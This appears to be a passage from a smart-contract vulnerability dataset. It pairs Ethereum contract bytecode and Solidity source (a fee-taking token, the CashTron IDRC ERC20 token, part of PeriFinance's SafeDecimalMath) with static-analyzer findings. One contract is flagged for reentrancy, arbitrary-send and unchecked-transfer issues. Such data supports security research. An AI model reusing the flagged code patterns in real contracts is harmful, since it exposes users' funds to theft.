9e565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361362e9190614bc4565b9250600260006007838154811061364857613647614d9e565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054826136b99190614bc4565b915080806136c690614cc8565b91505061347a565b50600a54600b546136df91906149c8565b8210156136f757600b54600a54935093505050613700565b81819350935050505b9091565b61370c613e27565b8161372057828160a00181815250506137cc565b6064601760000154846137339190614b6a565b61373d91906149c8565b8160c00181815250506064601760010154846137599190614b6a565b61376391906149c8565b8160e001818152505060646017600201548461377f9190614b6a565b61378991906149c8565b816101000181815250508061010001518160e001518260c00151856137ae9190614bc4565b6137b89190614bc4565b6137c29190614bc4565b8160a00181815250505b92915050565b600080600080600085886137e69190614b6a565b94508661380357848560008060009450945094509450945061385f565b858960c001516138139190614b6a565b9250858960e001516138259190614b6a565b9150858961010001516138389190614b6a565b9050808284876138489190614bc4565b6138529190614bc4565b61385c9190614bc4565b93505b945094509450945094565b6000600267ffffffffffffffff81111561388757613886614dcd565b5b6040519080825280602002602001820160405280156138b55781602001602082028036833780820191505090505b50905030816000815181106138cd576138cc614d9e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860039054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561396f57600080fd5b505afa158015613983573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906139a79190613f1e565b816001815181106139bb576139ba614d9e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613a2230600860039054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846123d1565b600860039054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613a86959493929190614871565b600060405180830381600087803b158015613aa057600080fd5b505af1158015613ab4573d6000803e3d6000fd5b505050505050565b613ae930600860039054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846123d1565b600860039054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080613b35611c5e565b426040518863ffffffff1660e01b8152600401613b579695949392919061455d565b6060604051808303818588803b158015613b7057600080fd5b505af1158015613b84573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190613ba99190614138565b5050505050565b81600b6000828254613bc29190614bc4565b9250508190555080601a6000016000828254613bde9190614972565b925050819055505050565b80601a6002016000828254613bfe9190614972565b92505081905550600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613cae5780600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254613ca69190614972565b925050819055505b81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254613cfd9190614972565b925050819055505050565b80601a6001016000828254613d1d9190614972565b92505081905550600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613dcd5780600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254613dc59190614972565b925050819055505b81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254613e1c9190614972565b925050819055505050565b6040518061012001604052806000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081525090565b600081359050613e828161527d565b92915050565b600081519050613e978161527d565b92915050565b600081359050613eac81615294565b92915050565b600081519050613ec181615294565b92915050565b600081359050613ed6816152ab565b92915050565b600081519050613eeb816152ab565b92915050565b600060208284031215613f0757613f06614dfc565b5b6000613f1584828501613e73565b91505092915050565b600060208284031215613f3457613f33614dfc565b5b6000613f4284828501613e88565b91505092915050565b60008060408385031215613f6257613f61614dfc565b5b6000613f7085828601613e73565b9250506020613f8185828601613e73565b9150509250929050565b600080600060608486031215613fa457613fa3614dfc565b5b6000613fb286828701613e73565b9350506020613fc386828701613e73565b9250506040613fd486828701613ec7565b9150509250925092565b60008060408385031215613ff557613ff4614dfc565b5b600061400385828601613e73565b925050602061401485828601613ec7565b9150509250929050565b60006020828403121561403457614033614dfc565b5b600061404284828501613e9d565b91505092915050565b60006020828403121561406157614060614dfc565b5b600061406f84828501613eb2565b91505092915050565b60006020828403121561408e5761408d614dfc565b5b600061409c84828501613ec7565b91505092915050565b600080604083850312156140bc576140bb614dfc565b5b60006140ca85828601613ec7565b92505060206140db85828601613e9d565b9150509250929050565b6000806000606084860312156140fe576140fd614dfc565b5b600061410c86828701613ec7565b935050602061411d86828701613ec7565b925050604061412e86828701613ec7565b9150509250925092565b60008060006060848603121561415157614150614dfc565b5b600061415f86828701613edc565b935050602061417086828701613edc565b925050604061418186828701613edc565b9150509250925092565b600061419783836141a3565b60208301905092915050565b6141ac81614bf8565b82525050565b6141bb81614bf8565b82525050565b60006141cc8261492d565b6141d68185614950565b93506141e18361491d565b8060005b838110156142125781516141f9888261418b565b975061420483614943565b9250506001810190506141e5565b5085935050505092915050565b61422881614c0a565b82525050565b61423781614c4d565b82525050565b61424681614c5f565b82525050565b600061425782614938565b6142618185614961565b9350614271818560208601614c95565b61427a81614e01565b840191505092915050565b6000614292602383614961565b915061429d82614e1f565b604082019050919050565b60006142b5601283614961565b91506142c082614e6e565b602082019050919050565b60006142d8603183614961565b91506142e382614e97565b604082019050919050565b60006142fb602a83614961565b915061430682614ee6565b604082019050919050565b600061431e602683614961565b915061432982614f35565b604082019050919050565b6000614341602283614961565b915061434c82614f84565b604082019050919050565b6000614364601b83614961565b915061436f82614fd3565b602082019050919050565b6000614387601783614961565b915061439282614ffc565b602082019050919050565b60006143aa601f83614961565b91506143b582615025565b602082019050919050565b60006143cd601883614961565b91506143d88261504e565b602082019050919050565b60006143f0602883614961565b91506143fb82615077565b604082019050919050565b6000614413602083614961565b915061441e826150c6565b602082019050919050565b6000614436602983614961565b9150614441826150ef565b604082019050919050565b6000614459601283614961565b91506144648261513e565b602082019050919050565b600061447c602583614961565b915061448782615167565b604082019050919050565b600061449f602483614961565b91506144aa826151b6565b604082019050919050565b60006144c2600d83614961565b91506144cd82615205565b602082019050919050565b60006144e5602583614961565b91506144f08261522e565b604082019050919050565b61450481614c36565b82525050565b61451381614c40565b82525050565b600060208201905061452e60008301846141b2565b92915050565b600060408201905061454960008301856141b2565b61455660208301846144fb565b9392505050565b600060c08201905061457260008301896141b2565b61457f60208301886144fb565b61458c604083018761423d565b614599606083018661423d565b6145a660808301856141b2565b6145b360a08301846144fb565b979650505050505050565b60006020820190506145d3600083018461421f565b92915050565b60006020820190506145ee600083018461422e565b92915050565b6000602082019050818103600083015261460e818461424c565b905092915050565b6000602082019050818103600083015261462f81614285565b9050919050565b6000602082019050818103600083015261464f816142a8565b9050919050565b6000602082019050818103600083015261466f816142cb565b9050919050565b6000602082019050818103600083015261468f816142ee565b9050919050565b600060208201905081810360008301526146af81614311565b9050919050565b600060208201905081810360008301526146cf81614334565b9050919050565b600060208201905081810360008301526146ef81614357565b9050919050565b6000602082019050818103600083015261470f8161437a565b9050919050565b6000602082019050818103600083015261472f8161439d565b9050919050565b6000602082019050818103600083015261474f816143c0565b9050919050565b6000602082019050818103600083015261476f816143e3565b9050919050565b6000602082019050818103600083015261478f81614406565b9050919050565b600060208201905081810360008301526147af81614429565b9050919050565b600060208201905081810360008301526147cf8161444c565b9050919050565b600060208201905081810360008301526147ef8161446f565b9050919050565b6000602082019050818103600083015261480f81614492565b9050919050565b6000602082019050818103600083015261482f816144b5565b9050919050565b6000602082019050818103600083015261484f816144d8565b9050919050565b600060208201905061486b60008301846144fb565b92915050565b600060a08201905061488660008301886144fb565b614893602083018761423d565b81810360408301526148a581866141c1565b90506148b460608301856141b2565b6148c160808301846144fb565b9695505050505050565b60006060820190506148e060008301866144fb565b6148ed60208301856144fb565b6148fa60408301846144fb565b949350505050565b6000602082019050614917600083018461450a565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061497d82614c36565b915061498883614c36565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156149bd576149bc614d11565b5b828201905092915050565b60006149d382614c36565b91506149de83614c36565b9250826149ee576149ed614d40565b5b828204905092915050565b6000808291508390505b6001851115614a4357808604811115614a1f57614a1e614d11565b5b6001851615614a2e5780820291505b8081029050614a3c85614e12565b9450614a03565b94509492505050565b6000614a5782614c36565b9150614a6283614c40565b9250614a8f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484614a97565b905092915050565b600082614aa75760019050614b63565b81614ab55760009050614b63565b8160018114614acb5760028114614ad557614b04565b6001915050614b63565b60ff841115614ae757614ae6614d11565b5b8360020a915084821115614afe57614afd614d11565b5b50614b63565b5060208310610133831016604e8410600b8410161715614b395782820a905083811115614b3457614b33614d11565b5b614b63565b614b4684848460016149f9565b92509050818404811115614b5d57614b5c614d11565b5b81810290505b9392505050565b6000614b7582614c36565b9150614b8083614c36565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615614bb957614bb8614d11565b5b828202905092915050565b6000614bcf82614c36565b9150614bda83614c36565b925082821015614bed57614bec614d11565b5b828203905092915050565b6000614c0382614c16565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000614c5882614c71565b9050919050565b6000614c6a82614c36565b9050919050565b6000614c7c82614c83565b9050919050565b6000614c8e82614c16565b9050919050565b60005b83811015614cb3578082015181840152602081019050614c98565b83811115614cc2576000848401525b50505050565b6000614cd382614c36565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415614d0657614d05614d11565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e67206e6f74206163746976650000000000000000000000000000600082015250565b7f596f752061726520747279696e6720746f207472616e73666572206d6f72652060008201527f7468616e20796f75722062616c616e6365000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f4163636f756e7420697320616c7265616479206578636c756465640000000000600082015250565b7f4163636f756e74206973206e6f74206578636c75646564000000000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20737570706c7900600082015250565b7f696e73756666696369656e7420424e422062616c616e63650000000000000000600082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f57616c6c657420616c7265616479207365740000000000000000000000000000600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f596f7520617265206120626f7400000000000000000000000000000000000000600082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b61528681614bf8565b811461529157600080fd5b50565b61529d81614c0a565b81146152a857600080fd5b50565b6152b481614c36565b81146152bf57600080fd5b5056fea2646970667358221220320c318b6f7e38235787e2a527c44dc8846b85f24f7474f41bc9fe1226e4df3a64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
3,137
0x59356e9fde5390d4135c977abcbb6a4c7eb6323e
//-------------------------------------------------------------------------------- // CashTron Currency Token "IDRC" (Is Not Bank Legal Money) // USDC/EURC/AUDC/CADC/NZDC/RUBC/CNYC/SGDC/PTPC/#IDRC/MYRC/THBC/WNDC/BDTC // CashTron @ 2018 CashTron.io CashTron.co //-------------------------------------------------------------------------------- pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract BurnableToken is StandardToken, Ownable { using SafeMath for uint256; /* This notifies clients about the amount burnt */ event Burn(address indexed from, uint256 value); function burn(uint256 _value) public onlyOwner returns (bool success) { // Check if the sender has enough require(balances[msg.sender] >= _value); // Subtract from the sender balances[msg.sender] = balances[msg.sender].sub(_value); // Updates totalSupply totalSupply = totalSupply.sub(_value); Burn(msg.sender, _value); return true; } } contract CashTron is BurnableToken { using SafeMath for uint256; string public constant name = "CashTron"; string public constant symbol = "IDRC"; uint8 public constant decimals = 8; uint256 public constant INITIAL_SUPPLY = 100000000000; function CashTron() public { totalSupply = INITIAL_SUPPLY.mul(10 ** uint256(decimals)); balances[msg.sender] = INITIAL_SUPPLY.mul(10 ** uint256(decimals)); Transfer(0x0, msg.sender, totalSupply); } }
0x6060604052600436106100da5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100df578063095ea7b31461016957806318160ddd1461019f57806323b872dd146101c45780632ff2e9dc146101ec578063313ce567146101ff57806342966c6814610228578063661884631461023e57806370a08231146102605780638da5cb5b1461027f57806395d89b41146102ae578063a9059cbb146102c1578063d73dd623146102e3578063dd62ed3e14610305578063f2fde38b1461032a575b600080fd5b34156100ea57600080fd5b6100f261034b565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561012e578082015183820152602001610116565b50505050905090810190601f16801561015b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561017457600080fd5b61018b600160a060020a0360043516602435610382565b604051901515815260200160405180910390f35b34156101aa57600080fd5b6101b26103ee565b60405190815260200160405180910390f35b34156101cf57600080fd5b61018b600160a060020a03600435811690602435166044356103f4565b34156101f757600080fd5b6101b2610576565b341561020a57600080fd5b61021261057f565b60405160ff909116815260200160405180910390f35b341561023357600080fd5b61018b600435610584565b341561024957600080fd5b61018b600160a060020a0360043516602435610666565b341561026b57600080fd5b6101b2600160a060020a0360043516610762565b341561028a57600080fd5b61029261077d565b604051600160a060020a03909116815260200160405180910390f35b34156102b957600080fd5b6100f261078c565b34156102cc57600080fd5b61018b600160a060020a03600435166024356107c3565b34156102ee57600080fd5b61018b600160a060020a03600435166024356108be565b341561031057600080fd5b6101b2600160a060020a0360043581169060243516610962565b341561033557600080fd5b610349600160a060020a036004351661098d565b005b60408051908101604052600881527f4361736854726f6e000000000000000000000000000000000000000000000000602082015281565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60005481565b6000600160a060020a038316151561040b57600080fd5b600160a060020a03841660009081526001602052604090205482111561043057600080fd5b600160a060020a038085166000908152600260209081526040808320339094168352929052205482111561046357600080fd5b600160a060020a03841660009081526001602052604090205461048c908363ffffffff610a2816565b600160a060020a0380861660009081526001602052604080822093909355908516815220546104c1908363ffffffff610a3a16565b600160a060020a03808516600090815260016020908152604080832094909455878316825260028152838220339093168252919091522054610509908363ffffffff610a2816565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b64174876e80081565b600881565b60035460009033600160a060020a039081169116146105a257600080fd5b600160a060020a033316600090815260016020526040902054829010156105c857600080fd5b600160a060020a0333166000908152600160205260409020546105f1908363ffffffff610a2816565b600160a060020a0333166000908152600160205260408120919091555461061e908363ffffffff610a2816565b600055600160a060020a0333167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a2506001919050565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054808311156106c357600160a060020a0333811660009081526002602090815260408083209388168352929052908120556106fa565b6106d3818463ffffffff610a2816565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a3600191505b5092915050565b600160a060020a031660009081526001602052604090205490565b600354600160a060020a031681565b60408051908101604052600481527f4944524300000000000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a03831615156107da57600080fd5b600160a060020a0333166000908152600160205260409020548211156107ff57600080fd5b600160a060020a033316600090815260016020526040902054610828908363ffffffff610a2816565b600160a060020a03338116600090815260016020526040808220939093559085168152205461085d908363ffffffff610a3a16565b600160a060020a0380851660008181526001602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b600160a060020a0333811660009081526002602090815260408083209386168352929052908120546108f6908363ffffffff610a3a16565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a039081169116146109a857600080fd5b600160a060020a03811615156109bd57600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610a3457fe5b50900390565b600082820183811015610a4957fe5b9392505050565b600080831515610a63576000915061075b565b50828202828482811515610a7357fe5b0414610a4957fe00a165627a7a723058205b65807d7ea6fdbb8363063617aa2b55fee54a5d899a1f501ca7fecf331237a80029
{"success": true, "error": null, "results": {}}
3,138
0x6E0Bff12512a94F3b1ECEBe08203FE7f8F8fAe64
/** *Submitted for verification at Etherscan.io on 2021-08-11 */ /* ___ _ ___ _ | .\ ___ _ _ <_> ___ | __><_>._ _ ___ ._ _ ___ ___ | _// ._>| '_>| ||___|| _> | || ' |<_> || ' |/ | '/ ._> |_| \___.|_| |_| |_| |_||_|_|<___||_|_|\_|_.\___. * PeriFinance: SafeDecimalMath.sol * * Latest source (may be newer): https://github.com/perifinance/peri-finance/blob/master/contracts/SafeDecimalMath.sol * Docs: Will be added in the future. * https://docs.peri.finance/contracts/source/contracts/SafeDecimalMath * * Contract Dependencies: (none) * Libraries: * - SafeDecimalMath * - SafeMath * * MIT License * =========== * * Copyright (c) 2021 PeriFinance * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE */ pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } // Libraries // https://docs.peri.finance/contracts/source/libraries/safedecimalmath library SafeDecimalMath { using SafeMath for uint; /* Number of decimal places in the representations. */ uint8 public constant decimals = 18; uint8 public constant highPrecisionDecimals = 27; /* The number representing 1.0. */ uint public constant UNIT = 10**uint(decimals); /* The number representing 1.0 for higher fidelity numbers. */ uint public constant PRECISE_UNIT = 10**uint(highPrecisionDecimals); uint private constant UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR = 10**uint(highPrecisionDecimals - decimals); /** * @return Provides an interface to UNIT. */ function unit() external pure returns (uint) { return UNIT; } /** * @return Provides an interface to PRECISE_UNIT. */ function preciseUnit() external pure returns (uint) { return PRECISE_UNIT; } /** * @return The result of multiplying x and y, interpreting the operands as fixed-point * decimals. * * @dev A unit factor is divided out after the product of x and y is evaluated, * so that product must be less than 2**256. As this is an integer division, * the internal division always rounds down. This helps save on gas. Rounding * is more expensive on gas. */ function multiplyDecimal(uint x, uint y) internal pure returns (uint) { /* Divide by UNIT to remove the extra factor introduced by the product. */ return x.mul(y) / UNIT; } /** * @return The result of safely multiplying x and y, interpreting the operands * as fixed-point decimals of the specified precision unit. * * @dev The operands should be in the form of a the specified unit factor which will be * divided out after the product of x and y is evaluated, so that product must be * less than 2**256. * * Unlike multiplyDecimal, this function rounds the result to the nearest increment. * Rounding is useful when you need to retain fidelity for small decimal numbers * (eg. small fractions or percentages). */ function _multiplyDecimalRound( uint x, uint y, uint precisionUnit ) private pure returns (uint) { /* Divide by UNIT to remove the extra factor introduced by the product. */ uint quotientTimesTen = x.mul(y) / (precisionUnit / 10); if (quotientTimesTen % 10 >= 5) { quotientTimesTen += 10; } return quotientTimesTen / 10; } /** * @return The result of safely multiplying x and y, interpreting the operands * as fixed-point decimals of a precise unit. * * @dev The operands should be in the precise unit factor which will be * divided out after the product of x and y is evaluated, so that product must be * less than 2**256. * * Unlike multiplyDecimal, this function rounds the result to the nearest increment. * Rounding is useful when you need to retain fidelity for small decimal numbers * (eg. small fractions or 